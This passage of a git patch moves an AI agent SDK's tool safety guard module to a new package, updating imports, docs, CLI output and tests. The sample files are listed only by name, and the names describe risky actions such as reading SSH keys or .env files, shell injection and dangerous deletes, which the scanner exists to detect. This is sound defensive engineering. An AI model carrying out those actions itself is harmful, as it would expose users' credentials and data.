+18,20 @@ ScriptLanguage, ToolKind, ) -from tool.safety._policy import ToolSafetyPolicy, load_safety_policy -from tool.safety._guard import ToolSafetyGuard -from tool.safety._rules import SafetyRule, default_rules -from tool.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink -from tool.safety._tool_adapter import ( +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy, load_safety_policy +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._rules import SafetyRule, default_rules +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink +from trpc_agent_sdk.tools.safety._tool_adapter import ( ToolInputAdapter, ToolRequestError, build_default_adapters, ) -from tool.safety._filter import ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._filter import ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety.wrapper import ( + SafetyCheckedExecutor, + SafetyWrappedCallable, +) __all__ = [ "AuditSink", @@ -41,6 +42,7 @@ "RiskLevel", "SafetyAuditError", "SafetyAuditEvent", + "SafetyCheckedExecutor", "SafetyDecision", "SafetyFinding", "SafetyGuardError", @@ -49,6 +51,7 @@ "SafetyRule", "SafetyScanRequest", "SafetyScannerError", + "SafetyWrappedCallable", "ScriptLanguage", "ToolInputAdapter", "ToolKind", diff --git a/tool/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py similarity index 95% rename from tool/safety/_audit.py rename to trpc_agent_sdk/tools/safety/_audit.py index 05621e84..aff3e225 100644 --- a/tool/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -17,8 +17,8 @@ import threading from typing import Protocol, runtime_checkable -from tool.safety._exceptions import SafetyAuditError -from tool.safety._models import SafetyAuditEvent +from trpc_agent_sdk.tools.safety._exceptions import SafetyAuditError +from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent @runtime_checkable diff --git a/tool/safety/_bash_scanner.py b/trpc_agent_sdk/tools/safety/_bash_scanner.py similarity index 99% rename from tool/safety/_bash_scanner.py rename to trpc_agent_sdk/tools/safety/_bash_scanner.py index ab677be5..adc804ff 100644 --- a/tool/safety/_bash_scanner.py +++ b/trpc_agent_sdk/tools/safety/_bash_scanner.py @@ -15,7 +15,7 @@ import re from typing import Iterator -from tool.safety._facts import ( +from trpc_agent_sdk.tools.safety._facts import ( ConcurrencyFact, DependencyInstallFact, DynamicExecFact, @@ -35,8 +35,8 @@ ShellOperatorFact, UnboundedLoopFact, ) -from tool.safety._models import ScriptLanguage -from tool.safety._rules import _LanguageScannerRule, SafetyRule +from trpc_agent_sdk.tools.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._rules import _LanguageScannerRule, SafetyRule # --------------------------------------------------------------------------- # diff --git a/tool/safety/_cross_field_scanner.py b/trpc_agent_sdk/tools/safety/_cross_field_scanner.py similarity index 96% rename from tool/safety/_cross_field_scanner.py rename to trpc_agent_sdk/tools/safety/_cross_field_scanner.py index 69e0996d..68deb0b2 100644 --- a/tool/safety/_cross_field_scanner.py +++ b/trpc_agent_sdk/tools/safety/_cross_field_scanner.py @@ -10,8 +10,8 @@ import os from typing import Iterable -from tool.safety._facts import Loc -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._facts import Loc +from trpc_agent_sdk.tools.safety._models import ( Evidence, RiskCategory, RiskLevel, @@ -20,13 +20,13 @@ SafetyScanRequest, ScriptLanguage, ) -from tool.safety._policy import ( +from trpc_agent_sdk.tools.safety._policy import ( ToolSafetyPolicy, match_path_glob, normalize_script_path_for_match, ) -from tool.safety._redaction import Redactor -from tool.safety._rules import ( +from trpc_agent_sdk.tools.safety._redaction import Redactor +from trpc_agent_sdk.tools.safety._rules import ( SafetyRule, _default_unknown, _finding, @@ -193,7 +193,7 @@ def _check_tool_mapping( return [] # Built-in adapters are vetted by the tool_adapter module; the # cross-field check only fires for unknown execution-capable tools. - from tool.safety._tool_adapter import _BUILTIN_DEFAULTS + from trpc_agent_sdk.tools.safety._tool_adapter import _BUILTIN_DEFAULTS if adapter_id and adapter_id in _BUILTIN_DEFAULTS: return [] decision = resolve_decision( diff --git a/tool/safety/_exceptions.py b/trpc_agent_sdk/tools/safety/_exceptions.py similarity index 100% rename from tool/safety/_exceptions.py rename to trpc_agent_sdk/tools/safety/_exceptions.py diff --git a/tool/safety/_facts.py b/trpc_agent_sdk/tools/safety/_facts.py similarity index 98% rename from tool/safety/_facts.py rename to trpc_agent_sdk/tools/safety/_facts.py index 054d4b86..50b5b2a9 100644 --- a/tool/safety/_facts.py +++ b/trpc_agent_sdk/tools/safety/_facts.py @@ -15,7 +15,7 @@ from dataclasses import dataclass, field from typing import Literal -from tool.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._models import ScriptLanguage @dataclass(frozen=True) diff --git a/tool/safety/_filter.py b/trpc_agent_sdk/tools/safety/_filter.py similarity index 97% rename from tool/safety/_filter.py rename to trpc_agent_sdk/tools/safety/_filter.py index bc3f308f..481e4b4e 100644 --- a/tool/safety/_filter.py +++ b/trpc_agent_sdk/tools/safety/_filter.py @@ -20,21 +20,21 @@ import logging from typing import Any, Coroutine, Mapping, TypeVar -from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink -from tool.safety._exceptions import ( +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from trpc_agent_sdk.tools.safety._exceptions import ( SafetyAuditError, ToolRequestError, ) -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import ( SafetyDecision, SafetyReport, SafetyScanRequest, ToolKind, ) -from tool.safety._policy import ToolSafetyPolicy -from tool.safety._telemetry import TelemetrySink, build_audit_event, get_default_sink -from tool.safety._tool_adapter import ( +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._telemetry import TelemetrySink, build_audit_event, get_default_sink +from trpc_agent_sdk.tools.safety._tool_adapter import ( ToolInputAdapter, build_default_adapters, resolve_adapter, diff --git a/tool/safety/_guard.py b/trpc_agent_sdk/tools/safety/_guard.py similarity index 95% rename from tool/safety/_guard.py rename to trpc_agent_sdk/tools/safety/_guard.py index f05872bf..56baa66d 100644 --- a/tool/safety/_guard.py +++ b/trpc_agent_sdk/tools/safety/_guard.py @@ -12,8 +12,8 @@ import uuid from typing import Iterable, Sequence -from tool.safety._exceptions import SafetyGuardError, SafetyScannerError -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._exceptions import SafetyGuardError, SafetyScannerError +from trpc_agent_sdk.tools.safety._models import ( SAFE_RULE_ID, RiskLevel, SafetyDecision, @@ -21,9 +21,9 @@ SafetyReport, SafetyScanRequest, ) -from tool.safety._policy import POLICY_VERSION, ToolSafetyPolicy -from tool.safety._redaction import Redactor, evidence_was_redacted -from tool.safety._rules import SafetyRule, default_rules +from trpc_agent_sdk.tools.safety._policy import POLICY_VERSION, ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._redaction import Redactor, evidence_was_redacted +from trpc_agent_sdk.tools.safety._rules import SafetyRule, default_rules INTERNAL_ERROR_RULE_ID = "GUARD001_INTERNAL_ERROR" @@ -198,7 +198,7 @@ def _build_report( # Imports here to avoid circular import at module load. -from tool.safety._models import RiskCategory # noqa: E402 +from trpc_agent_sdk.tools.safety._models import RiskCategory # noqa: E402 # --------------------------------------------------------------------------- # diff --git a/tool/safety/_models.py b/trpc_agent_sdk/tools/safety/_models.py similarity index 100% rename from tool/safety/_models.py rename to trpc_agent_sdk/tools/safety/_models.py diff --git a/tool/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py similarity index 98% rename from tool/safety/_policy.py rename to trpc_agent_sdk/tools/safety/_policy.py index e44d9c87..5e218caf 100644 --- a/tool/safety/_policy.py +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -23,8 +23,8 @@ import yaml from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator -from tool.safety._exceptions import SafetyPolicyError -from tool.safety._models import ScriptLanguage, ToolKind +from trpc_agent_sdk.tools.safety._exceptions import SafetyPolicyError +from trpc_agent_sdk.tools.safety._models import ScriptLanguage, ToolKind POLICY_VERSION = "1" diff --git a/tool/safety/_python_scanner.py b/trpc_agent_sdk/tools/safety/_python_scanner.py similarity index 99% rename from tool/safety/_python_scanner.py rename to trpc_agent_sdk/tools/safety/_python_scanner.py index 1268ba52..7db81c7c 100644 --- a/tool/safety/_python_scanner.py +++ b/trpc_agent_sdk/tools/safety/_python_scanner.py @@ -14,8 +14,8 @@ import os from typing import Any, Iterator -from tool.safety._exceptions import SafetyScannerError -from tool.safety._facts import ( +from trpc_agent_sdk.tools.safety._exceptions import SafetyScannerError +from trpc_agent_sdk.tools.safety._facts import ( ConcurrencyFact, DependencyInstallFact, DynamicExecFact, @@ -35,10 +35,10 @@ ShellOperatorFact, UnboundedLoopFact, ) -from tool.safety._models import ScriptLanguage -from tool.safety._rules import _LanguageScannerRule, SafetyRule -from tool.safety._policy import is_sensitive_env_key -from tool.safety._redaction import contains_secret_literal +from trpc_agent_sdk.tools.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._rules import _LanguageScannerRule, SafetyRule +from trpc_agent_sdk.tools.safety._policy import is_sensitive_env_key +from trpc_agent_sdk.tools.safety._redaction import contains_secret_literal # Networks libs and the attribute used to extract a host arg. diff --git a/tool/safety/_redaction.py b/trpc_agent_sdk/tools/safety/_redaction.py similarity index 98% rename from tool/safety/_redaction.py rename to trpc_agent_sdk/tools/safety/_redaction.py index 66a8c110..d2839234 100644 --- a/tool/safety/_redaction.py +++ b/trpc_agent_sdk/tools/safety/_redaction.py @@ -11,7 +11,7 @@ import re from typing import Iterable -from tool.safety._models import EVIDENCE_MAX_CHARS, Evidence, ScriptLanguage +from trpc_agent_sdk.tools.safety._models import EVIDENCE_MAX_CHARS, Evidence, ScriptLanguage # Patterns for common secret formats. Order matters: longer/more specific # patterns first so their redaction wins over generic ones. diff --git a/tool/safety/_rules.py b/trpc_agent_sdk/tools/safety/_rules.py similarity index 98% rename from tool/safety/_rules.py rename to trpc_agent_sdk/tools/safety/_rules.py index 46ee9bf0..d5e5869d 100644 --- a/tool/safety/_rules.py +++ b/trpc_agent_sdk/tools/safety/_rules.py @@ -14,7 +14,7 @@ import ipaddress from typing import Iterable, Protocol, Sequence, runtime_checkable -from tool.safety._facts import ( +from trpc_agent_sdk.tools.safety._facts import ( ConcurrencyFact, DependencyInstallFact, DynamicExecFact, @@ -33,7 +33,7 @@ ShellOperatorFact, UnboundedLoopFact, ) -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._models import ( Evidence, RiskCategory, RiskLevel, @@ -42,12 +42,12 @@ SafetyScanRequest, ScriptLanguage, ) -from tool.safety._policy import ( +from trpc_agent_sdk.tools.safety._policy import ( ToolSafetyPolicy, match_domain, match_path_glob, ) -from tool.safety._redaction import Redactor +from trpc_agent_sdk.tools.safety._redaction import Redactor @runtime_checkable @@ -980,7 +980,7 @@ def scan( def _matches_denied_path(target: str, policy: ToolSafetyPolicy) -> bool: if not target: return False - from tool.safety._policy import normalize_script_path_for_match + from trpc_agent_sdk.tools.safety._policy import normalize_script_path_for_match normalized = normalize_script_path_for_match(target) for pattern in policy.paths.deny: @@ -1061,9 +1061,9 @@ def default_rules() -> list[SafetyRule]: or used as a replacement set. """ - from tool.safety._python_scanner import PythonScannerRule - from tool.safety._bash_scanner import BashScannerRule - from tool.safety._cross_field_scanner import CrossFieldScannerRule + from trpc_agent_sdk.tools.safety._python_scanner import PythonScannerRule + from trpc_agent_sdk.tools.safety._bash_scanner import BashScannerRule + from trpc_agent_sdk.tools.safety._cross_field_scanner import CrossFieldScannerRule return [ PythonScannerRule(), diff --git a/tool/safety/_telemetry.py b/trpc_agent_sdk/tools/safety/_telemetry.py similarity index 83% rename from tool/safety/_telemetry.py rename to trpc_agent_sdk/tools/safety/_telemetry.py index 6dac0d26..232477fc 100644 --- a/tool/safety/_telemetry.py +++ b/trpc_agent_sdk/tools/safety/_telemetry.py @@ -10,17 +10,17 @@ from typing import Any -from tool.safety._models import SafetyAuditEvent, SafetyReport +from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent, SafetyReport _SPAN_ATTRS = ( - "tool.safety.decision", - "tool.safety.risk_level", - "tool.safety.rule_id", - "tool.safety.blocked", - "tool.safety.redacted", - "tool.safety.scan_duration_ms", - "tool.safety.policy_hash", + "trpc_agent_sdk.tools.safety.decision", + "trpc_agent_sdk.tools.safety.risk_level", + "trpc_agent_sdk.tools.safety.rule_id", + "trpc_agent_sdk.tools.safety.blocked", + "trpc_agent_sdk.tools.safety.redacted", + "trpc_agent_sdk.tools.safety.scan_duration_ms", + "trpc_agent_sdk.tools.safety.policy_hash", ) _METRIC_SCAN_COUNT = "trpc_agent.tool_safety.scan_count" @@ -91,13 +91,13 @@ def attributes(report: SafetyReport, *, rule_ids = ",".join(report.rule_ids[:8]) return { - "tool.safety.decision": report.decision.value, - "tool.safety.risk_level": report.risk_level.label(), - "tool.safety.rule_id": rule_ids, - "tool.safety.blocked": bool(blocked), - "tool.safety.redacted": bool(report.redacted), - "tool.safety.scan_duration_ms": float(report.scan_duration_ms), - "tool.safety.policy_hash": report.policy_hash, + "trpc_agent_sdk.tools.safety.decision": report.decision.value, + "trpc_agent_sdk.tools.safety.risk_level": report.risk_level.label(), + "trpc_agent_sdk.tools.safety.rule_id": rule_ids, + "trpc_agent_sdk.tools.safety.blocked": bool(blocked), + "trpc_agent_sdk.tools.safety.redacted": bool(report.redacted), + "trpc_agent_sdk.tools.safety.scan_duration_ms": float(report.scan_duration_ms), + "trpc_agent_sdk.tools.safety.policy_hash": report.policy_hash, } def _emit_span_attrs(self, attrs: dict[str, Any]) -> None: @@ -124,7 +124,7 @@ def _emit_span_attrs(self, attrs: dict[str, Any]) -> None: def _safe_tracer(): try: from opentelemetry.trace import get_tracer # type: ignore - return get_tracer("tool.safety") + return get_tracer("trpc_agent_sdk.tools.safety") except Exception: return None @@ -132,7 +132,7 @@ def _safe_tracer(): def _safe_meter(): try: from opentelemetry.metrics import get_meter # type: ignore - return get_meter("tool.safety") + return get_meter("trpc_agent_sdk.tools.safety") except Exception: return None @@ -176,7 +176,7 @@ def build_audit_event( ): """Build a :class:`SafetyAuditEvent` from a report.""" - from tool.safety._models import SafetyAuditEvent + from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent return SafetyAuditEvent( event_id=report.report_id, diff --git a/tool/safety/_tool_adapter.py b/trpc_agent_sdk/tools/safety/_tool_adapter.py similarity index 96% rename from tool/safety/_tool_adapter.py rename to trpc_agent_sdk/tools/safety/_tool_adapter.py index ed5bfe1c..5b27a5bf 100644 --- a/tool/safety/_tool_adapter.py +++ b/trpc_agent_sdk/tools/safety/_tool_adapter.py @@ -10,9 +10,9 @@ from typing import Any, Mapping -from tool.safety._exceptions import ToolRequestError -from tool.safety._models import SafetyScanRequest, ScriptLanguage, ToolKind -from tool.safety._policy import ToolFieldMapping, ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._exceptions import ToolRequestError +from trpc_agent_sdk.tools.safety._models import SafetyScanRequest, ScriptLanguage, ToolKind +from trpc_agent_sdk.tools.safety._policy import ToolFieldMapping, ToolSafetyPolicy # Default mappings keyed by the canonical tool name. The keys must match diff --git a/tool/safety/examples/README.md b/trpc_agent_sdk/tools/safety/examples/README.md similarity index 91% rename from tool/safety/examples/README.md rename to trpc_agent_sdk/tools/safety/examples/README.md index 702c28e0..eca547ed 100644 --- a/tool/safety/examples/README.md +++ b/trpc_agent_sdk/tools/safety/examples/README.md @@ -31,7 +31,7 @@ and the generated report / audit outputs. ```bash # Single sample -python ../../../scripts/tool_safety_check.py \ +python ../../../../scripts/tool_safety_check.py \ --policy tool_safety_policy.yaml \ --language python \ --script-file samples/03_dangerous_delete.py \ @@ -40,7 +40,7 @@ python ../../../scripts/tool_safety_check.py \ echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error # All 14 samples -python ../../../scripts/tool_safety_check.py \ +python ../../../../scripts/tool_safety_check.py \ --policy tool_safety_policy.yaml \ --manifest samples/manifest.yaml \ --manifest-output manifest_run.json \ @@ -58,5 +58,5 @@ python ../../../scripts/tool_safety_check.py \ samples. See the full design document in -[English](../../../docs/mkdocs/en/tool_safety_guard.md) or -[中文](../../../docs/mkdocs/zh/tool_safety_guard.zh_CN.md). +[English](../../../../docs/mkdocs/en/tool_safety_guard.md) or +[中文](../../../../docs/mkdocs/zh/tool_safety_guard.zh_CN.md). diff --git a/tool/safety/examples/manifest_run.json b/trpc_agent_sdk/tools/safety/examples/manifest_run.json similarity index 100% rename from tool/safety/examples/manifest_run.json rename to trpc_agent_sdk/tools/safety/examples/manifest_run.json diff --git a/tool/safety/examples/samples/01_safe_python.py b/trpc_agent_sdk/tools/safety/examples/samples/01_safe_python.py similarity index 100% rename from tool/safety/examples/samples/01_safe_python.py rename to trpc_agent_sdk/tools/safety/examples/samples/01_safe_python.py diff --git a/tool/safety/examples/samples/02_safe_bash.sh b/trpc_agent_sdk/tools/safety/examples/samples/02_safe_bash.sh similarity index 100% rename from tool/safety/examples/samples/02_safe_bash.sh rename to trpc_agent_sdk/tools/safety/examples/samples/02_safe_bash.sh diff --git a/tool/safety/examples/samples/03_dangerous_delete.py b/trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py similarity index 100% rename from tool/safety/examples/samples/03_dangerous_delete.py rename to trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py diff --git a/tool/safety/examples/samples/04_read_ssh_key.py b/trpc_agent_sdk/tools/safety/examples/samples/04_read_ssh_key.py similarity index 100% rename from tool/safety/examples/samples/04_read_ssh_key.py rename to trpc_agent_sdk/tools/safety/examples/samples/04_read_ssh_key.py diff --git a/tool/safety/examples/samples/05_non_whitelist_network.py b/trpc_agent_sdk/tools/safety/examples/samples/05_non_whitelist_network.py similarity index 100% rename from tool/safety/examples/samples/05_non_whitelist_network.py rename to trpc_agent_sdk/tools/safety/examples/samples/05_non_whitelist_network.py diff --git a/tool/safety/examples/samples/06_whitelist_network.py b/trpc_agent_sdk/tools/safety/examples/samples/06_whitelist_network.py similarity index 100% rename from tool/safety/examples/samples/06_whitelist_network.py rename to trpc_agent_sdk/tools/safety/examples/samples/06_whitelist_network.py diff --git a/tool/safety/examples/samples/07_allowed_subprocess.py b/trpc_agent_sdk/tools/safety/examples/samples/07_allowed_subprocess.py similarity index 100% rename from tool/safety/examples/samples/07_allowed_subprocess.py rename to trpc_agent_sdk/tools/safety/examples/samples/07_allowed_subprocess.py diff --git a/tool/safety/examples/samples/08_shell_injection.py b/trpc_agent_sdk/tools/safety/examples/samples/08_shell_injection.py similarity index 100% rename from tool/safety/examples/samples/08_shell_injection.py rename to trpc_agent_sdk/tools/safety/examples/samples/08_shell_injection.py diff --git a/tool/safety/examples/samples/09_dependency_install.sh b/trpc_agent_sdk/tools/safety/examples/samples/09_dependency_install.sh similarity index 100% rename from tool/safety/examples/samples/09_dependency_install.sh rename to trpc_agent_sdk/tools/safety/examples/samples/09_dependency_install.sh diff --git a/tool/safety/examples/samples/10_infinite_loop.py b/trpc_agent_sdk/tools/safety/examples/samples/10_infinite_loop.py similarity index 100% rename from tool/safety/examples/samples/10_infinite_loop.py rename to trpc_agent_sdk/tools/safety/examples/samples/10_infinite_loop.py diff --git a/tool/safety/examples/samples/11_sensitive_output.py b/trpc_agent_sdk/tools/safety/examples/samples/11_sensitive_output.py similarity index 100% rename from tool/safety/examples/samples/11_sensitive_output.py rename to trpc_agent_sdk/tools/safety/examples/samples/11_sensitive_output.py diff --git a/tool/safety/examples/samples/12_bash_pipeline.sh b/trpc_agent_sdk/tools/safety/examples/samples/12_bash_pipeline.sh similarity index 100% rename from tool/safety/examples/samples/12_bash_pipeline.sh rename to trpc_agent_sdk/tools/safety/examples/samples/12_bash_pipeline.sh diff --git a/tool/safety/examples/samples/13_read_dotenv.sh b/trpc_agent_sdk/tools/safety/examples/samples/13_read_dotenv.sh similarity index 100% rename from tool/safety/examples/samples/13_read_dotenv.sh rename to trpc_agent_sdk/tools/safety/examples/samples/13_read_dotenv.sh diff --git a/tool/safety/examples/samples/14_dynamic_command_review.py b/trpc_agent_sdk/tools/safety/examples/samples/14_dynamic_command_review.py similarity index 100% rename from tool/safety/examples/samples/14_dynamic_command_review.py rename to trpc_agent_sdk/tools/safety/examples/samples/14_dynamic_command_review.py diff --git a/tool/safety/examples/samples/manifest.yaml b/trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml similarity index 100% rename from tool/safety/examples/samples/manifest.yaml rename to trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml diff --git a/tool/safety/examples/tool_safety_audit.jsonl b/trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl similarity index 100% rename from tool/safety/examples/tool_safety_audit.jsonl rename to trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl diff --git a/tool/safety/examples/tool_safety_policy.yaml b/trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml similarity index 100% rename from tool/safety/examples/tool_safety_policy.yaml rename to trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml diff --git a/tool/safety/examples/tool_safety_report.json b/trpc_agent_sdk/tools/safety/examples/tool_safety_report.json similarity index 100% rename from tool/safety/examples/tool_safety_report.json rename to trpc_agent_sdk/tools/safety/examples/tool_safety_report.json diff --git a/tool/wrapper.py b/trpc_agent_sdk/tools/safety/wrapper.py similarity index 95% rename from tool/wrapper.py rename to trpc_agent_sdk/tools/safety/wrapper.py index 835d7b8f..7933facc 100644 --- a/tool/wrapper.py +++ b/trpc_agent_sdk/tools/safety/wrapper.py @@ -23,16 +23,16 @@ import inspect from typing import Any, Callable, Generic, Mapping, TypeVar -from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink -from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter -from tool.safety._guard import ToolSafetyGuard -from tool.safety._models import ( +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from trpc_agent_sdk.tools.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import ( SafetyReport, SafetyScanRequest, ScriptLanguage, ToolKind, ) -from tool.safety._policy import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy T = TypeVar("T") @@ -43,8 +43,9 @@ class SafetyWrappedCallable(Generic[T]): Example ------- >>> import os - >>> from tool.safety import load_safety_policy, ToolSafetyGuard - >>> from tool.wrapper import SafetyWrappedCallable + >>> from trpc_agent_sdk.tools.safety import ( + ... SafetyWrappedCallable, ToolSafetyGuard, load_safety_policy, + ... ) >>> policy = load_safety_policy("policy.yaml") >>> guard = ToolSafetyGuard(policy) >>> wrapped = SafetyWrappedCallable(guard, os.system, @@ -261,7 +262,7 @@ def _default_audit_sink(policy: ToolSafetyPolicy) -> AuditSink: if not policy.audit.enabled: return NullAuditSink() if policy.audit.path: - from tool.safety._audit import JsonlAuditSink + from trpc_agent_sdk.tools.safety._audit import JsonlAuditSink return JsonlAuditSink(policy.audit.path) return InMemoryAuditSink() @@ -356,7 +357,7 @@ def __repr__(self) -> str: # pragma: no cover - debug helper def _render_executor_block(report: SafetyReport) -> Any: payload = ( - f"[tool.safety] execution blocked: decision={report.decision.value} " + f"[trpc_agent_sdk.tools.safety] execution blocked: decision={report.decision.value} " f"risk={report.risk_level.label()} rules={','.join(report.rule_ids)} " f"report_id={report.report_id}" ) From 28a4174bec2336ee74d63fa66fa4a1b3a5d3ad4e Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 16:07:31 +0800 Subject: [PATCH 8/8] full tests --- docs/mkdocs/en/tool_safety_guard.md | 4 +- docs/mkdocs/zh/tool_safety_guard.zh_CN.md | 10 +- scripts/tool_safety_check.py | 1 + tests/tool_safety/test_cli.py | 18 + .../tools/safety/examples/README.md | 6 +- .../tools/safety/examples/manifest_run.json | 535 ++++++++++++++++-- 6 files changed, 524 insertions(+), 50 deletions(-) diff --git a/docs/mkdocs/en/tool_safety_guard.md b/docs/mkdocs/en/tool_safety_guard.md index d198caf5..03ffd81d 100644 --- a/docs/mkdocs/en/tool_safety_guard.md +++ b/docs/mkdocs/en/tool_safety_guard.md @@ -393,7 +393,7 @@ tool/ _telemetry.py # OTel span attrs + metrics (no-op safe) _tool_adapter.py # ToolInputAdapter + built-ins _filter.py # ToolScriptSafetyFilter (terminal) - wrapper.py # SafetyWrappedCallable, SafetyCheckedExecutor + wrapper.py # SafetyWrappedCallable, SafetyCheckedExecutor scripts/ tool_safety_check.py # CLI tests/tool_safety/ # safety guard tests @@ -402,7 +402,7 @@ trpc_agent_sdk/tools/safety/examples/ samples/ # 14 public samples + manifest tool_safety_report.json # generated report tool_safety_audit.jsonl # generated audit log - manifest_run.json # manifest execution summary + manifest_run.json # 14 full reports plus expectation checks docs/ tool_safety_guard.md # this document tool_safety_guard.zh_CN.md # Chinese version diff --git a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md index 661f192c..078db376 100644 --- a/docs/mkdocs/zh/tool_safety_guard.zh_CN.md +++ b/docs/mkdocs/zh/tool_safety_guard.zh_CN.md @@ -345,13 +345,17 @@ python -m pytest tests/tool_safety/ -v ## 文件布局 ```text -tool/ - safety/ # Guard、策略、规则、扫描器、审计和 Telemetry +trpc_agent_sdk/tools/safety/ # Guard、策略、规则、扫描器、审计和 Telemetry wrapper.py # SafetyWrappedCallable、SafetyCheckedExecutor + examples/ + tool_safety_policy.yaml # 示例策略 + samples/ # 14 个公开样例及 manifest + tool_safety_report.json # 单次扫描完整报告 + tool_safety_audit.jsonl # JSONL 审计日志 + manifest_run.json # 14 份完整报告及预期结果核对 scripts/ tool_safety_check.py # CLI tests/tool_safety/ # 安全检查器测试 -trpc_agent_sdk/tools/safety/examples/ # 策略、14 个样例、报告和审计样例 docs/ tool_safety_guard.md # English version tool_safety_guard.zh_CN.md # 本文 diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index 1ae7a1c0..8cd91285 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -168,6 +168,7 @@ def _run_manifest(guard: ToolSafetyGuard, "risk_level": report.risk_level.label(), "duration_ms": report.scan_duration_ms, "matches_expected": _decision_matches(report, expected), + "report": report.model_dump(mode="json"), }) blocked = report.decision != SafetyDecision.ALLOW asyncio.run(_emit_audit( diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py index a2640bdb..807a78b7 100644 --- a/tests/tool_safety/test_cli.py +++ b/tests/tool_safety/test_cli.py @@ -92,6 +92,24 @@ def test_manifest_writes_output(tmp_path): assert output.exists() payload = json.loads(output.read_text(encoding="utf-8")) assert len(payload) == 14 + for item in payload: + report = item["report"] + assert { + "decision", + "risk_level", + "rule_ids", + "findings", + "recommendation", + } <= report.keys() + if report["decision"] != "allow": + assert report["findings"] + for finding in report["findings"]: + assert { + "category", + "rule_id", + "evidence", + "recommendation", + } <= finding.keys() # Audit file has one line per sample. lines = [ln for ln in audit.read_text(encoding="utf-8").splitlines() if ln.strip()] diff --git a/trpc_agent_sdk/tools/safety/examples/README.md b/trpc_agent_sdk/tools/safety/examples/README.md index eca547ed..3e820af2 100644 --- a/trpc_agent_sdk/tools/safety/examples/README.md +++ b/trpc_agent_sdk/tools/safety/examples/README.md @@ -25,7 +25,7 @@ and the generated report / audit outputs. | `samples/manifest.yaml` | Expected decisions for all 14 samples | | `tool_safety_report.json` | Single-sample report (regenerated by CLI) | | `tool_safety_audit.jsonl` | Audit events (regenerated by CLI) | -| `manifest_run.json` | Manifest execution summary | +| `manifest_run.json` | Expected-vs-actual results and full structured reports for all samples | ## Run @@ -54,8 +54,8 @@ python ../../../../scripts/tool_safety_check.py \ hash. * `tool_safety_audit.jsonl` shows one line per scan. Note that no raw script text, env values, or unredacted arguments ever appear. -* `manifest_run.json` shows expected-vs-actual decisions across all 14 - samples. +* `manifest_run.json` shows expected-vs-actual decisions and the full + structured report for each of the 14 samples. See the full design document in [English](../../../../docs/mkdocs/en/tool_safety_guard.md) or diff --git a/trpc_agent_sdk/tools/safety/examples/manifest_run.json b/trpc_agent_sdk/tools/safety/examples/manifest_run.json index e52efba3..0a8cdbc8 100644 --- a/trpc_agent_sdk/tools/safety/examples/manifest_run.json +++ b/trpc_agent_sdk/tools/safety/examples/manifest_run.json @@ -6,10 +6,25 @@ "rule_ids": [ "SAFE000" ], - "report_id": "rep-61e0c448ab064221", + "report_id": "rep-c480d658e1ac4c23", "risk_level": "info", - "duration_ms": 0.38300000596791506, - "matches_expected": true + "duration_ms": 0.33109996002167463, + "matches_expected": true, + "report": { + "report_id": "rep-c480d658e1ac4c23", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "abceeaaec48b8039440cfe2965b16b583fdbba619fdee4ef37e2bacb0a3409c6", + "scan_duration_ms": 0.33109996002167463, + "redacted": false + } }, { "name": "safe_bash", @@ -18,10 +33,25 @@ "rule_ids": [ "SAFE000" ], - "report_id": "rep-b583bba1bb944efe", + "report_id": "rep-91d203cd74a9499d", "risk_level": "info", - "duration_ms": 0.5827000131830573, - "matches_expected": true + "duration_ms": 